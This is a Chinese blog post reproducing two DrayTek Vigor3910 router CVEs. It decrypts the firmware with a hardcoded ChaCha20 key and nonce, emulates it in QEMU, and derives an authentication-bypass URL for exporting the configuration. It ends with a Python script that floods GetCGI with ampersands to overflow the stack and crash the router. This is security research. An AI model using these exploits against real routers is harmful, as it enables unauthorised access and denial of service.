DrayTek Vigor3910 工业路由器固件解密与逆向分析:CVE-2024-41592/23721漏洞复现

固件解密Draytek漏洞分析
2025-12-14 19:45
59240

1、信息收集

固件版本3971、4325。
首先对于Draytek的固件解密要用到draytools这个工具。我们先拿到这个加密固件,然后用binwalk看一下这两个文件的熵值。

image.png
这是3971的熵值,着我们还是第一次见到。再看一下4325版本。

image.png
最后面熵值有变化。我们看看这两个文件的16进制,有没有什么内容。
然后我们解包3971版本后出现了很多文件,我们找找有没有可用的。当我们把3910的3971解包后发现了关于AES 的字样,其中有S盒、SHA256 hash。这些提取的文件应该是未加密的,他们包含了AES和SHA256的常量,说明这段代码具备加密的能力,或者进行验证之类的。
在这之前我们尝试用binwalk解包3971版本,但是似乎无法直接提取文件系统,我们要换种方式,先用binwalk看下内容。

image.png

这个3971版本有超级多的内容,我们看下有没有需要用到的。

image.png
这里看到4325版本是加密的,需要一个enc_image的东西解密,我们在之前见到过类似解密方式,可能会有一个解密程序存在。
总结一下我们的发现,能确定4325版本是加密状态的。

2、尝试解包3971版本

我们使用binwalk解包。

image.png

通过binwalk发现3971文件系统通过LZ4加密,我们需要安装一个LZ4依赖让binwalk解包。

image.png
这里似乎找到了Key,是这样的,网上的旧版Key是0DraytekKd5Eason3DraytekKd5Eason,然后我们找他的特征,发现了这一段,还有一点就是ChaCha20的Key通常32字节,我们可以根据旧版Key调整。

0DraytekKd5Jason3DraytekKd5Jason

既然到了这里我们先去了解一下ChaCha20算法。

1、ChaCha20算法

image.png

2、安全问题所在

为什么这个算法很安全呢,但是这里Draytek出现了错误,加密很难,密钥管理更难,这应该算是对称加密的一个难题了。
1、硬编码Key,他把Key写死在路由器的升级程序里,这意味着所有型号路由器的密钥都是通用的,但是这个问题很难解决,如果每个设备密钥都不同,管理起来超级麻烦。
1、硬编码Nonce,他本意就是一次性数字,如果Key相同,Nonce每次都不同,但这里Nonce也是写死的,造成的安全问题就是我们抓到了两份同版本的固件,他的密文流是完全对应的,如果我们直到一个字节的明文,就能推出另一个。

3、寻找解密程序

我们追踪一下dd截出来的内核文件看一下有啥信息。
这里猜测Key为这个值原因在于Vigor有历史通用密钥,所以这里猜测一下。
strings kernel_proof.bin | grep "0Draytek"

image.png

提取密钥、加密逻辑文件

image.png

这里我们找到一个chacha20可执行程序,我们看一下,或者丢到IDA里面。

image.png

这里我们关注这个chacha20文件,因为前面分析了是chacha20加密算法,我们看下是谁调用了这个chacha20。

image.png

这里出现了经典的固件升级文件则有一个文件,后面应该是解密需要的东西。

  chacha20 $enc_file $denc_file $TMP_FW_OUTPUT_FOLDER/nonce
  chacha20 <输入文件> <输出文件> <Nonce文件>

一共需要3个参数,我们在系统中找一找所需要的文件。

1、密钥(Key)

这里我们的密钥(Key)没有通过命令行传输,说明密钥100%硬编码,我们到chacha20里面找找看。

image.png

这里就和我们之前的猜想一模一样了,这个确实是密钥Key。

0DraytekKd5Eason3DraytekKd5Eason

但是这里有些问题,就在下面几行,他进行了一个替换,把J替换成了E,也就是说我们原来的密钥明文的是无法使用的。
下面这段for循环,作用是与Json进行比对,在这个字符串中检索,发现的话会将第一个字符替换为ASCII码替换为69,就是E.

2、Nonce

我们在之前找到过这个值

image.png

UODAjyXZOzH0

3、FW_upload文件

接下来分析一下这个文件内容。

image.png

这个脚本就是解密程序了。

image.png
我们分析最核心的这一段,这里有些文件,我们一个一个分析。
1、$enc_file
这段就是固件被fw_unpacker切开,识别出的加密数据块,就是上了锁的压缩包
2、$denc_file
脚本里解密后的文件
3、$TMP_FW_OUTPUT_FOLDER/nonce
存放随机数的文件

4、尝试解密4325版本

现在我们收集了所有解密需要的,算法、密钥以及随机数。
总结一下我们手上有的信息。

1、chacha20

# 语法
./sbin/chacha20 <加密文件> <解密后输出文件> <Nonce文件路径>

# 举例(假设你在文件系统根目录,且已经有了 nonce 文件)
./sbin/chacha20 stage1.bin stage1_dec.bin nonce

2、 fw_unpacker

# 语法
./usr/sbin/fw_unpacker -i <完整固件包> -o <输出目录> -m <型号>

# 举例
./usr/sbin/fw_unpacker -i v4325.all -o ./output/ -m v3910

1、第一步

sudo qemu-aarch64-static . ./sbin/fw_unpacker -i /tmp/v3910_4325.all -o ./output_final/ -m v3910

image.png
我们先把4325版本解包。

2、第二步

这就是我们得到的结果了。

sudo qemu-aarch64-static .. chacha20 enc_Image decrypted_fs.bin nonce
nonce: 554f44416a79585a4f7a4830
Run time = 0 sec

image.png

解密成功。

5、分析启动项

我们已经解密成功,接下来就是想办法模拟起来,我们先找找启动项

查找 inittab 文件,并显示其内容
find . -name inittab -exec cat {} \;  

这里找到了两个文件
image.png

我们之前的开机启动项是rcS,这个文件估计就是关于启动相关的文件。

rc文件

image.png

这个rc文件是开机启动项相关的信息,我们找找它是什么服务器。
./firmwalker.sh ~/cpio-root/ > 3910.txt

image.png

这里应该是httpd服务,但这里看到了个api key文件。
这个sohod64.bin可能是处理api密钥和OAuth认证的二进制文件。并且他的路径表明他可能是用于QEMU模拟环境或虚拟化的后端守护进程。

image.png

接下来我们就尝试模拟这个4325版本的固件。
在此之前我们需要去rc里面找启动前的条件。

image.png

在中间这又但,发现了一个run.sh,大概率就是模拟所需要的配置。

image.png
这个目录下全都是模拟相关的文件。

run.sh

image.png
这个run.sh应该是模拟所需要的文件了。

image.png
第一行就是需要一个run_linux.sh文件。

image.png
确定了就是这个启动的路由器,这里面有所需要的一切信息,集成了一起,用qemu模拟的。

image.png
这个应该就是启动的镜像。
这个脚本是官方开发人员用来启动QEMU模拟环境的原始脚本,sohod64.bin就是核心固件,充当Kernel,其次DrayTek设备树文件(DTB).

run_linux.sh文件

image.png

我们回顾一下这个文件。
首先根据这个文件,我们会引用一些文件并且放到脚本能找到的路径下。

image.png

但是这些应该自动会存在这些文件,也就是自动调用的,大概率不用管。

image.png

后来我们才找到了这里发现了启动流程。
看一下要干嘛,首先就是 fw_setenv purelinux 1,也就是我们设置为1时会进入Linux模式,禁用硬件加速,禁用专有硬件驱动,只跑Linux。
第二步是告诉我们如果开启了Linux模式,就不需要刚才的run.sh了,而是用run_linux.sh,我们就去run_linux.sh中尝试启动。

1、尝试模拟

先去看看提及到的两个脚本,一个是fw_setenv还有setup_qemu_linux.sh。并且让我们设置了什么东西。先去改模式吧

image.png

看一下这个文件,需要我们设置两张网卡,eth0和eth1这两张网卡。

image.png

启动报错,我们找到了原因。
我们报错的KVM信息意味着原厂脚本不仅硬编码了硬件加速,还用了TAP网络模式。应该是操作提示中要关闭的点,接下来我们要做以下操作。
首先关闭KVM,因为原厂脚本run_linux.sh写的KVM= --enable-kvm ,这是给ARM开发板用的,我们机器是x86架构,不支持跨架构KVM加速(kqemu开源加u收起,kvm只能模拟x86虚拟机)
接下来我们要改CPU,脚本的CPU=host,意思是物理机的CPU模型,必须改成ARM CPU。
网络模式就是最后一点,因为run_linux.sh默认是TAP模式,直接运行如果网卡没创建,QEMU也会报错并且卡住。

2、尝试模拟,发现报错

image.png
这里发现我们怎么去运行都会报错一个信息,找找其他方法。

image.png
在启动qemu时,发现了一个非标准参数,-dtb DrayTek,以此来判断是进行了魔改Qemu,我们需要重新编译GPL代码.
但是因为架构原因,我们需要重新编译一个,我们去官网下载对应GPL源码。

3、GPL源码编译

image.png

我们下载尝试编译.
tar -xvjf new_v3910_v396_GPL_release.tar.bz2

image.png
看一眼ReadMe,按照他需求来.

sudo apt-get install make
sudo apt-get install gcc
sudo apt-get install liblz4-tool
./build

我们现在需要找到Qemu去编译一个我们所需要的qemu-system-aarch64.
接下来我们到这个路径下编译.

Vigor3910_v396_GPL_release/source/linux/cavium-rootfs/src_dir/qemu-2.12.1/

./configure --enable-kvm --enable-debug --target-list=aarch64-softmmu
make

image.png
报错的话,就缺啥下载啥.
sudo apt install libglib2.0-dev libpixman-1-dev X-0

image.png
然后make一下即可.

image.png
到这里就发现已经成功生成了.我们尝试模拟
这里就是添加两张网卡,这个脚本需求,eth0和eth1.

image.png
把他拖到firmware目录下.

正式模拟

network.sh

#!/bin/bash

iflan=eth0
ifwan=eth1
mylanip="192.168.1.2"

brctl delbr br-lan
brctl delbr br-wan

ip link add br-lan type bridge
ip tuntap add qemu-lan mode tap
brctl addif br-lan $iflan
brctl addif br-lan qemu-lan
ip addr flush dev $iflan
ifconfig br-lan $mylanip
ifconfig br-lan up
ifconfig qemu-lan up
ifconfig $iflan up

ip link add br-wan type bridge
ip tuntap add qemu-wan mode tap
brctl addif br-wan $ifwan
brctl addif br-wan qemu-wan
ip addr flush dev $ifwan
ifconfig br-lan $mylanip
ifconfig br-wan up
ifconfig qemu-wan up
ifconfig $ifwan up

brctl show

#for speed test
ethtool -K $iflan gro off
ethtool -K $iflan gso off

ethtool -K $ifwan gro off
ethtool -K $ifwan gso off

ethtool -K qemu-lan gro off
ethtool -K qemu-lan gso off

ethtool -K qemu-wan gro off
ethtool -K qemu-wan gso off


#for telnet from linux to drayos 192.168.1.1
ethtool -K br-lan tx off

startrun.sh

#!/bin/bash
# 1. do "fw_setenv purelinux 1" first , then reboot
# 2. do setup_qemu_linux.sh (default P3 as WAN, P4 as LAN, for both 1Gbps connection only)
# 3. remember to recover to normal mode by "fw_setenv purelinux 0"

rangen() {
   printf "%02x" `shuf -i 1-255 -n 1`
}


rangen1() {
   printf "%x" `shuf -i 1-15 -n 1`
}

wan_mac(){
        idx=$1
        printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}

A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:${A}:${B}:${C}"

if [ ! -p serial0 ]; then
    mkfifo serial0
fi
if [ ! -p serial1 ]; then
    mkfifo serial1
fi

platform_path="./platform"
echo "x86" > $platform_path
enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path

cfg_path="./magic_file"

echo "GCI_SKIP" > gci_magic

mkdir -p ../data/uffs
touch ../data/uffs/v3910_ram_flash.bin
uffs_flash="../data/uffs/v3910_ram_flash.bin"

echo "1" > memsize

(sleep 20 && ethtool -K qemu-lan tx off) &

model="./model"
echo "3" > ./model

rm -rf ./app && mkdir -p ./app/gci
GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"

echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE
echo "GCI_SKIP" > $GDEF_FILE

SHM_SIZE=16777216
./qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 -L ../usr/share/qemu \
           -kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
           -nographic $gdb_serial_option $gdb_remote_option \
           -device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
           -netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
           -device virtio-net-pci,netdev=network-wan,mac=00:1d:aa:${A}:${B}:$(wan_mac 1) \
           -netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
           -device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
           -device virtserialport,chardev=ch0,name=serial0 \
           -device loader,file=$platform_path,addr=0x25fff0 \
           -device loader,file=$cfg_path,addr=0x260000 \
           -device loader,file=$uffs_flash,addr=0x00be0000 \
           -device loader,file=$enable_kvm_path,addr=0x25ffe0 \
           -device loader,file=memsize,addr=0x25ff67 \
	        -device loader,file=$model,addr=0x25ff69 \
           -device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
           -device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
           -device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
           -device nec-usb-xhci,id=usb \
           -device ivshmem-plain,memdev=hostmem \
           -object memory-backend-file,size=${SHM_SIZE},share,mem-path=/dev/shm/ivshmem,id=hostmem

image.png
这里终于模拟起来了。

6、漏洞复现

CVE-2024-23721

根据漏洞描述在process_post中发现了目录遍历问题。当发送某个POST请求时,它会调用函数并导出信息。
我们这个固件是用QEMU启动的,并且启动文件是sohod64.bin,我们抓包看看web端。

image.png

image.png
看到了一个cgi-bin接口。漏洞点在于POST请求,我们找找。

image.png

我们去IDA分析一下sohod64.bin,这里解释为什么可以逆向分析sohod.bin文件

image.png

因为这是一个ELF格式文件,IDA加载不需要unpack,很多固件是u-boot+LZMA压缩,需要解压。
我们定位一下漏洞点,先搜搜process_post或者POST这类字符串。

image.png
找到这个函数,我们这段代码有.exp和0x1B67,这个逻辑也符合当URL包含/DrayTek并且扩展名为.exp,他被识别为一种特殊的请求类型,看他的返回值7015,将十进制7015转换为十六进制7015(10进制)= 1B67(16进制),也就是配置导出功能的ID。
我们要明白POC是/Draytek.exp/images/,我们往下走。

image.png
当我们URL是 /Draytek.exp/images/ 时,鉴权器看到了/images/,下一步就是去验证与利用。
这段函数没检查这个字符串是不是在开头,也没检查后面跟着什么,就直接写入服务器处理了。
目前写到这里我们的exp构造基本可以判断是/Draytek.exp/images/?sFormAuthStr=
关于为什么要加这个参数,首先我们能确定前面两层路径没什么问题,关于最后这个参数,这个函数就是打开文件并解压的底层函数sFormAuthStr 的作用:正如我们之前分析的,它是为了让代码进入处理 POST 参数的逻辑分支(触发器)。

逻辑汇总

分析点1

首先我们搜索获取sohod64.bin,在0x40153890地址找到的一个函数用于处理请求,我们命名为process_request,这个函数是处理HTTP请求的入口点,会解析请求中的各个字段。

image.png
这个函数,找到的参考代码是这一段。

image.png
接着往下走,当我们请求类型为POST时,会调用0x4015F640函数,我们命名为process_post,这个函数就是处理POST类型请求的。
这里的代码就是检查我们的URL是不是/ACSServer/Upload 或者 /SWMACSServer/Uploa,如果不是的话就跳过上面的if,进入下面的4015F640,就是哪个通用的POST处理器,他负责接管所有非特殊用途的POST请求,并根据URL的ID分发具体的业务逻辑。

分析点2

我们先进入到0x40153890函数位置。

image.png

image.png
在FUN_4015F640调用了process_post,当请求类型为POST时,会调用0x4015F640函数。

image.png

在这里会调用FUN_40156840函数来处理请求中的URL,这个函数会把URL和固定字符串进行匹配。
我们进去看看。

image.png
当URL以/Draytek开头并且包含.exp字符串时,返回0x1b67

image.png
我们把这段代码自己修改一遍。这样看就清晰很多了,这段就是比较我们的URL是否包含了/Draytek.exp/返回0x1b67,回到process_post函数,也就是说我们的。

image.png
当我们返回的值是0x1b67,那我们就回去这个函数process_post,发现了这里,我们修改一下。

image.png

我们进入到from_evalute_access函数,检查一下这一块代码的含义。发现这个函数有大量的比较,当第一个参数为/auth_check.cgi会返回0,我们需绕让这个函数返回值返回不为1.

image.png
到这里由于返回值为0,会继续调用这里面的check_is_from_lan函数,我们进去看一下。

image.png

image.png
进入到这个check_is_from_lan函数后,只要这个函数返回值是1,那么from_evalute_access返回值就是1,就继续进入下一个if,我们需要让这个函数返回值为1。也就是说我们要在原构造的Daytek.exp后面添加/images/,其实和在IDA分析差不多。

image.png

image.png
这是Ghidra里面的。
其实这两个if就是为了满足下面这里process_post函数。

image.png

构造payload

加密状态的。

image.png
由于这段代码太大了,因此我们去找一下加解密的相关函数。

image.png

这是过程。

image.png
接下来就会进入到这里。

image.png
跳转后发现他会再次跳转到40A37D64这个函数。进入到这个函数发现了这里可以使用三个值,0XAA,0XBB,0XCC。

image.png

image.png

就是这三个值。

image.png

也就是说当chk_encryptcfg值为170、187、204这三个值,就会将密钥进行解密处理,再次尝试。

image.png

复现成功。

CVE-2024-41592 vigor 栈溢出漏洞

漏洞产生于 GetCGI() 函数中, 在该函数中处理字符串参数会造成越界导致栈溢出。
Draytek 3910采用了Linux+Qemu+RTOS的框架,即在arm linux操作系统上用qemu运行drayos的RTOS操作系统。
在我们开始调试之前,我们需要对setup_qemu_linux.sh和run_linux.sh进行修改,对run_linux.sh 在 qemu-system-aarch64 添加 -s 参数方便用于调试。
我们去IDA找下漏洞点,来定位GetCgi函数。

符号表修复

再次之前我们做一下符号表修复。

readelf -S -W sohod64.bin > data_wide.txt

image.png

首先我们先用readelf读取段表。
接下来运行脚本

image.png

输出为这样的地址表。

import idc
import idaapi
import os
import struct

# ==========================================
# 核心配置:请确保这两个文件都在这个路径下
# ==========================================
# 1. 你的藏宝图 (从 Linux readelf 生成的文本)
MAP_TXT_PATH = r"F:\IDA_Pro_9.0\fix\map.txt"

# 2. 你的完整固件 (41MB 的那个文件)
BIN_FILE_PATH = r"F:\IDA_Pro_9.0\fix\sohod64.bin"
# ==========================================

def fix_final_victory():
    print(f"[*] 正在读取藏宝图: {MAP_TXT_PATH}")
    print(f"[*] 正在读取固件: {BIN_FILE_PATH}")
    
    # 0. 安全检查:文件是否存在
    if not os.path.exists(MAP_TXT_PATH) or not os.path.exists(BIN_FILE_PATH):
        print("[-] 错误:找不到文件!请检查脚本最上方的路径 F:\\IDA_Pro_9.0\\fix\\ 是否正确")
        return

    # 1. 打开二进制固件文件 (只读模式)
    with open(BIN_FILE_PATH, 'rb') as f_bin:
        # 验证一下文件够不够大 (必须大于40MB)
        f_bin.seek(0, 2) # 移到末尾
        if f_bin.tell() < 40000000:
             print("[-] 严重警告:脚本读取到的 bin 文件小于 40MB!可能又是坏文件!")
        
        # 2. 打开文本文件 (藏宝图)
        with open(MAP_TXT_PATH, 'r', encoding='utf-8', errors='ignore') as f_txt:
            lines = f_txt.readlines()

        count = 0
        
        # 3. 逐行分析藏宝图
        for line in lines:
            # 筛选关键行,特征是同时包含 "___ksymtab+" 和 "PROGBITS"
            # 例子: [10] ___ksymtab+sscanf PROGBITS 427009b0 27109b0 ...
            if "___ksymtab+" in line and "PROGBITS" in line:
                try:
                    parts = line.split()
                    
                    # --- A. 提取函数名 ---
                    # 找到包含 ___ksymtab+ 的那一段
                    raw_name_part = next(p for p in parts if "___ksymtab+" in p)
                    func_name = raw_name_part.split('+')[-1] # 取 + 号后面的部分
                    
                    # --- B. 提取文件偏移 (File Offset) ---
                    # 找到 PROGBITS 关键字
                    idx_progbits = parts.index("PROGBITS")
                    # PROGBITS 后面第 2 个数字就是文件偏移
                    # parts[idx+1] 是内存地址(427009b0),parts[idx+2] 是文件偏移(27109b0)
                    file_offset_hex = parts[idx_progbits + 2] 
                    file_offset = int(file_offset_hex, 16)
                    
                    # --- C. 挖宝:去固件里读绝对地址 ---
                    f_bin.seek(file_offset)
                    bytes_data = f_bin.read(4) # 读取 4 字节
                    
                    if len(bytes_data) == 4:
                        # 解包:把 4 个字节转换成一个 32 位整数 (Little Endian)
                        # 这就是真正的函数地址!
                        func_addr = struct.unpack('<I', bytes_data)[0]
                        
                        # --- D. 修复 IDA ---
                        # 过滤掉 0 和 0xFFFFFFFF 这种无效值
                        # 并且只修复代码段范围内的地址 (0x40000000 - 0x44000000)
                        if func_addr > 0x40000000 and func_addr < 0x44000000:
                            
                            # 1. 告诉 IDA 这里是代码 (Create Instruction)
                            idc.create_insn(func_addr)
                            # 2. 告诉 IDA 这里是一个函数 (Create Function)
                            idc.add_func(func_addr)
                            # 3. 改名 (Rename)
                            idc.set_name(func_addr, func_name, idc.SN_NOWARN)
                            
                            count += 1
                            
                except Exception:
                    pass # 遇到解析错误的行直接跳过

    print(f"-"*30)
    print(f"[SUCCESS] 胜利时刻!共恢复 {count} 个函数名。")
    # 强制刷新 IDA 界面,让名字立刻显示出来
    idaapi.refresh_idaview_anyway()

if __name__ == "__main__":
    fix_final_victory()

这里面每一个地址都是一个函数名字符串地址,那么现在就是一个符号表,接下来我们遍历这个表来恢复函数名。

漏洞复现

这里我们想找CGI这个函数非常麻烦,一种是我们使用字符串交叉引用,这是最直接成功率最高的方法,因为架构再怎么便哈,HTTP协议和CGI标准不会变化,GetCGI()函数核心功能就是读取URL参数,在LINUX环境下必须调用libc的getenv函数,参数必然是 "QUERY_STRING" 。
还有一种方法就是找他相邻版本有符号版本的固件,优点就是架构清晰,因为路由器他的版本虽然变化,但是功能函数改动不会特别大,不太可能一个版本一个处理方法,其次就是新版会出现这个漏洞,旧版应该也会出现,但是风险就是我们无法确定他是否修改了什么,所以不是特别稳定的方法。但是可以找这两个版本同时对比一下,可以查看一下整体框架改动这样的方法。
这里先默认使用Ghidra,手动修改函数名。

image.png

我们回顾一下这个函数是在干嘛。
首先这里的param_2是GetCGI函数传入的一个指针,指向栈上分配的一个固定大小的参数表结构,从伪代码可推断大概的结构(AArch64 8字节对齐)

image.png

从我们的伪代码来看,存储方式是交错的。

image.png

关键是数组容量N是固定的,超过就溢出,为什么QUERY_STRING="&&&&&&&&&&&..."会溢出,因为每循环找到一个"&"就会分隔出一个空参数(Key=""或者Value=""),param_count每次+1,每次写两个4/8字节到param_2+offset,当param_count>N,开始覆盖栈上数组后面的内容,因此覆盖地址如下。

image.png

所以只要发送足够多的&,就能覆盖到返回地址。

undefined8 GetCGI(int *param_1,int param_2,undefined4 param_3)
//三个参数,param_1指向一个HTTP请求结构体,param_2指向栈上分配参数表(要溢出的数组)

image.png
这一段GET请求直接从环境中拿QUERY_STRING,就是URL后面的字符串,然后进入一个while大循环,每找到一个"&",计数器就+1。
漏洞原因是并且没有检查param_count是否超过param_2数组上限,从而造成溢出。
每次循环都在param_2 + param_count*8 和 +4的位置写数据,然后param_count太大时就会造成溢出,覆盖返回地址,可能是DOS或者RCE。这里就需要看一下这个文件是否开启了NX保护。

image.png
这里我们完全可以实现RCE或者DOS。

image.png

在看着一段代码,POST先读取数据长度,但这里有保护,没办法打溢出。

while (*pcVar3 != '\0') {
    amp_position = find_next_amp(pcVar3, '&');                // 找到下一个 & 的偏移
    *(undefined4 *)(param_2 + param_count * 8) = amp_position; // 临时存偏移(后面会覆盖)

    FUN_400bf244(...);  // 可能把 key 或 value 的长度/边界标记好
    FUN_400bf670(...);  // 同上

    param_array_ptr = FUN_40651bb4(..., '=');                 // 找 = 位置,分 key 和 value,并 malloc 复制字符串到堆
                                                              // 返回指向堆上新字符串的指针

    if (param_array_ptr == NULL) {
        *(param_2 + param_count * 8 + 4) = 0;                  // 写 NULL
    } else {
        *param_array_ptr = 0;                                 // 在堆字符串末尾写 \0
        *(param_2 + param_count * 8 + 4) = param_array_ptr + 1;// 写指针+1(可能是引用计数技巧)
    }

    param_count = param_count + 1;  // <--- 无检查!无限增长
}

每次循环找下一个&,在栈上malloc并复制key/value字符串,把堆指针(或指针+1)写道栈上的参数表里面(param_2+offset),param_count++准备下一个槽位。
那我们的QUERY_STRING是"&&&&&&&..."他每次都能找到&,然后重复的malloc空字符串到堆,每次都向栈表写一个指针,直到覆盖返回地址。

image.png

循环结束后,如果溢出就不执行这里了。因此我们的构造的链就是。

GET 请求路径:无边界检查 → 无数 & → param_count 无限++ → 栈溢出 → CVE-2024-41592
POST 请求路径:有显式检查和日志 → 安全

然我们构造exp即可。

import requests

target = "http://192.168.1.1"  # 你的路由器 IP
cgi_path = "/cgi-bin/wlogin.cgi"  # 或 /cgi-bin/wlogin.cgi, /cgi-bin/system_status.cgi 等存在路径

# 构造 payload:大量 & 制造无数空参数
num_amps = 1500  # 从 800 开始试,逐步增加到 2000(不同版本阈值不同)

payload = "&" * num_amps
url = target + cgi_path + "?" + payload

print(f"[+] 发送请求: {url}")
try:
    r = requests.get(url, timeout=10)
    print("[-] 未崩溃(& 不够多或路径不对)")
except:
    print("[+] 成功!路由器崩溃重启中(DoS 触发)")

image.png

成功溢出。
最后感谢SeBao老师的指导和支持,感谢IOTsec-Zone社区。

参考文章:
hexacon_draytek_2022_final
www.iotsec-zone.com/article/480

分享到

参与评论

0 / 200

全部评论 1

阿萨姆369的头像
牛🤬,了解了
2025-12-15 11:54
投稿
签到
联系我们
关于我们